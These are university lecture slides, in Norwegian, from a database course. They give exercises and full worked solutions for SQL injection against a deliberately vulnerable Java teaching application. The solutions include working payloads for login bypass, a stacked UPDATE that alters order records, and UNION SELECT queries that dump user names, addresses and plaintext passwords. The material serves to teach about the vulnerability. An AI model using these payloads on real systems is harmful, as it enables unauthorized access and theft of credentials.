IN2090 – Databaser og datamodellering

12 – Sikkerhet: Eksempler

Leif Harald Karlsen
leifhka@ifi.uio.no

Universitetet i Oslo

Oppgaver

Bruk den SQL-injection-sårbare Java-implementasjonen[1] til å:

1. Logge inn som en bruker som bor i *Streetroad*
2. Logge inn med brukeren som har kjøpt for mest penger
3. Setter alle bestillinger til brukeren *hackzor* til betalt
4. (Vanskelig) Printer ut all informasjon om alle brukere

[1] `https://www.uio.no/studier/emner/matnat/ifi/IN2090/h23/undervisningsmateriale/userfrontendsqlinjection.zip`

Oppgave 1: Løsning

```
$ java -cp .:postgresql.jar UserFrontendSQLInjection
-- USER FRONTEND --
Please choose an option:
 1. Register
 2. Login
 3. Exit
Option: 2
 -- LOGIN --
Username: ' OR address LIKE 'Streetroad%'--
Password:
Welcome Carl Smith
 -- SEARCH --
```

Oppgave 2: Løsning

(Merk: Formaterer spørringen litt penere her for lesbarhet)

```
$ java -cp .:postgresql.jar UserFrontendSQLInjection
-- USER FRONTEND --
Please choose an option:
 1. Register
 2. Login
 3. Exit
Option: 2
 -- LOGIN --
Username: ' OR uid = (SELECT uid FROM (SELECT o.uid, sum(p.price * o.num) AS total
                      FROM ws.orders AS o INNER JOIN ws.products AS p USING (pid)
                      GROUP BY o.uid ORDER BY total DESC LIMIT 1) t)--
Password:
Welcome Ann Pat
-- SEARCH --
```

(Merk: bestillingene er tilfeldig generert, så det er ikke sikkert at *Ann Pat* er den som har bestilt mest i din database)

Oppgave 3: Løsning

(Merk: Formaterer spørringen litt penere her for lesbarhet)

```
$ java -cp .:postgresql.jar UserFrontendSQLInjection
-- USER FRONTEND --
Please choose an option:
 1. Register
 2. Login
 3. Exit
Option: 1
 -- REGISTER NEW USER --
Username: a
Password: b
Name: c
Address: d'); UPDATE ws.orders SET payed = 1 WHERE uid IN
              (SELECT uid FROM ws.users WHERE username = 'hackzor')--
New user a added!
```

Oppgave 4: Løsning

```
$ java -cp .:postgresql.jar UserFrontendSQLInjection
-- USER FRONTEND --
Please choose an option:
 1. Register
 2. Login
 3. Exit
Option: 2
 -- LOGIN --
Username: ' OR true--
Password:
Welcome Carl Smith
 -- SEARCH --
Search: ' AND false UNION SELECT uid AS pid, name, 0, username AS category, password AS description FROM ws.users--
Category:
 -- RESULTS --

===Carl Smith===
Product ID: 1
Price: 0.0
Category: yunoboy12
Description: secretpass

===Mina Polar===
Product ID: 4
Price: 0.0
Category: qwer12
Description: terces

[...]
```

Oppgave 4: Alternativ løsning

(Merk: Formaterer spørringen litt penere her for lesbarhet)

```
$ java -cp .:postgresql.jar UserFrontendSQLInjection
-- USER FRONTEND --
Please choose an option:
 1. Register
 2. Login
 3. Exit
Option: 2
 -- LOGIN --
Username: ' OR true--
Password:
Welcome Carl Smith
 -- SEARCH --
Search: ' AND false UNION
    SELECT 0 AS pid,
           format('Name: %s, Address: %s, Username: %s, Password: %s',
                  name, address, username, password) AS name,
           0 AS price, '' AS category, '' AS description
    FROM ws.users--
Category:
 -- RESULTS --

===Name: Amir Nazur, Address: Higarden Road 98, 7762 Hitown, Username: mirz, Password: asdf9876===
Product ID: 0
Price: 0.0
Category:
Description:

===Name: Mary Sagan, Address: Placestreet 12B, 4356 Nicetown, Username: hackzor, Password: pass1234===
[...]
```